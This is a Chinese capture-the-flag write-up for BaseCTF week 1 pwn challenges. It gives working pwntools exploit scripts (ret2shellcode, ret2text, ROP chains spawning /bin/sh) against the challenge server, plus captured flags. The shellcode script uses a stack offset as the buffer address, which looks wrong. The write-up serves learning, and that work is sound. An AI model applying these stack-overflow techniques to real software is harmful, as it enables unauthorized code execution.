一、week1
1.echo
打开环境发现除了echo命令什么命令都是无效的
但是如果我直接打开文件呢?一般flag都藏在根目录下,利用相对路径./flag尝试获取flag,虽然仍然报错,但是我们还是成功获取到flag
2.shellcode_level0
根据题目提示,应该是ret2shellcode的题型,下载附件,checksec一下
发现题目开启了RELRO,这使得整个重定位表都是可读的,同时还开启了NX保护,使得数据段不可执行,通过file命令发现文件为64位的可执行文件,接着丢进64位ida里
通过检查未发现后门函数,且read函数存在栈溢出漏洞,所以此题的思路为构造shellcode,将shellcode写入可以控制的执行流内,并将函数的返回地址修改为shellcode所在的地址,从而获取shell。
0000000000000010 buf dq ?
通过上述代码可以看到buf为一个未初始化的全局变量,它存放在.bss段里,所以这道题的思路就是把shellcode写入buf中,并通过栈溢出漏洞将函数的返回地址修改为buf的地址
接着动态调试确定溢出长度
这道题的溢出长度为0x60-0x50 = 0x10 还需覆盖原来bp的值,所以溢出长度为0x18
构造payload
from pwn import *
context.arch = 'amd64'
p = remote('challenge.basectf.fun',33958)
shellcode = asm(shellcraft.amd64.sh())
buf_addr = 0x10
payload = shellcode.ljust(0x18,b'a') + p64(0x10)
p.sendline(payload)
p.interactive()
获取flag
3.Ret2text
根据题目提示为ret2text的题型,下载附件,checksec一下
题目只开启了数据段不可执行的保护,通过file命令发现是64位的可执行文件,接着丢进64位ida里
发现后门函数,后门函数的地址为 0x4011bb
且read函数存在栈溢出漏洞,所以本题的思路为通过栈溢出漏洞把函数的返回地址修改为后门函数的地址从而获取shell
通过动态调试确定溢出长度为0x60 - 0x40 = 0x20,还需覆盖bp的值所以溢出长度为0x28
构造payload
from pwn import *
p = remote('challenge.basectf.fun',28828)
backdoor = 0x4011bb
payload = b'a' *0x28 + p64(backdoor)
p.sendline(payload)
p.interactive()
获取flag
4.我把她丢了
打开题目文件checksec一下
发现文件只开启了数据段不可执行的保护,通过file命令发现为64位的可执行文件。接着丢进64位ida里
发现了后门函数,可是后门函数中的参数不是我们所期待的/bin/sh,所以我们接下来有两种想法:1.查找该程序中是否含有/bin/sh,有则构造栈帧,将其作为system的参数进行调用
2.若不含有,则手动输入/bin/sh
通过查找发现/bin/sh存在
.rodata:0000000000402008 aBinSh db '/bin/sh',0 ; DATA XREF: .data:hidden_str↓o
所以,接下来我们就要构造栈帧,因为该程序为64位程序,64位程序传参和32位程序传参有差异:
- 当程序参数不超过6个时,参数按需使用rdi、rsi、rdx、rcx、r8d和r9d寄存器传递到子函数
- 当参数超过6个时,前6个参数传递方式不变,从第七个参数起,后面的参数都通过栈传递
所以我们需要找到pop_edi_ret指令的地址和ret的地址
❯ ROPgadget --binary ./1 --only 'pop|ret' |grep rdi
0x0000000000401196 : pop rdi ; ret
❯ ROPgadget --binary ./1 --only 'ret'
Gadgets information
============================================================
0x000000000040101a : ret
接下来我们payload的构造思路为,先利用pop_edi_ret指令将/bin/sh字符串地址放在edi里,然后调用system函数的plt表,获取shell
构造payload
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p = remote('challenge.basectf.fun',39287)
#p = process('./1')
elf = ELF('./1')
bin_sh = 0x402008
system_plt = elf.plt['system']
pop_rdi_ret = 0x401196
ret = 0x40101a
payload = b'a'*0x78+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(system_plt)
p.sendline(payload)
p.interactive()
获取flag
$ cat flag
BaseCTF{f623aa65-c430-40a5-9e3f-056f56e04510}
5.彻底失去她
还是先checksec一下
和上一题的保护情况相同,还是只有数据段不可执行保护,file一下发先现是64位程序,丢进ida里
发现本题仍有system函数,只是通过查找发现本题没有/bin/sh字符串
所以我们需要调用read函数,将/bin/sh写入.bss段后,再调用system函数,read函数的三个参数顺序位rdi rsi rdx,依次布置为0,buf,0x10,然后这时候read函数调用的就是read(0,buf,0x10)
查找一下相关命令的地址
❯ ROPgadget --binary ./1 --only 'pop|ret'
Gadgets information
============================================================
0x000000000040117d : pop rbp ; ret
0x0000000000401196 : pop rdi ; ret
0x0000000000401265 : pop rdx ; ret
0x00000000004011ad : pop rsi ; ret
0x000000000040101a : ret
Unique gadgets found: 5
构造payload
from pwn import *
#context(log_level='debug',arch='amd64',os='linux')
p = remote('challenge.basectf.fun',37399)
#p = process('./1')
elf = ELF('./1')
read = elf.sym['read']
system_plt = elf.plt['system']
pop_rdi_ret = 0x401196
pop_rdx_ret = 0x401265
pop_rsi_ret = 0x4011ad
ret = 0x40101a
bss = 0x4040a0
payload = b'a'*(0xa + 0x8)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss)
payload += p64(pop_rdx_ret) + p64(0x10)
payload += p64(read) #read(0,buf,0x10)
payload += p64(pop_rdi_ret) + p64(bss) + p64(system_plt)
p.sendline(payload)
p.sendline(b'/bin/sh\x00') #x00为字符串结束符
p.interactive()
获取flag
$ cat flag
BaseCTF{cae302ad-a37d-4095-a886-dc90a3e45478}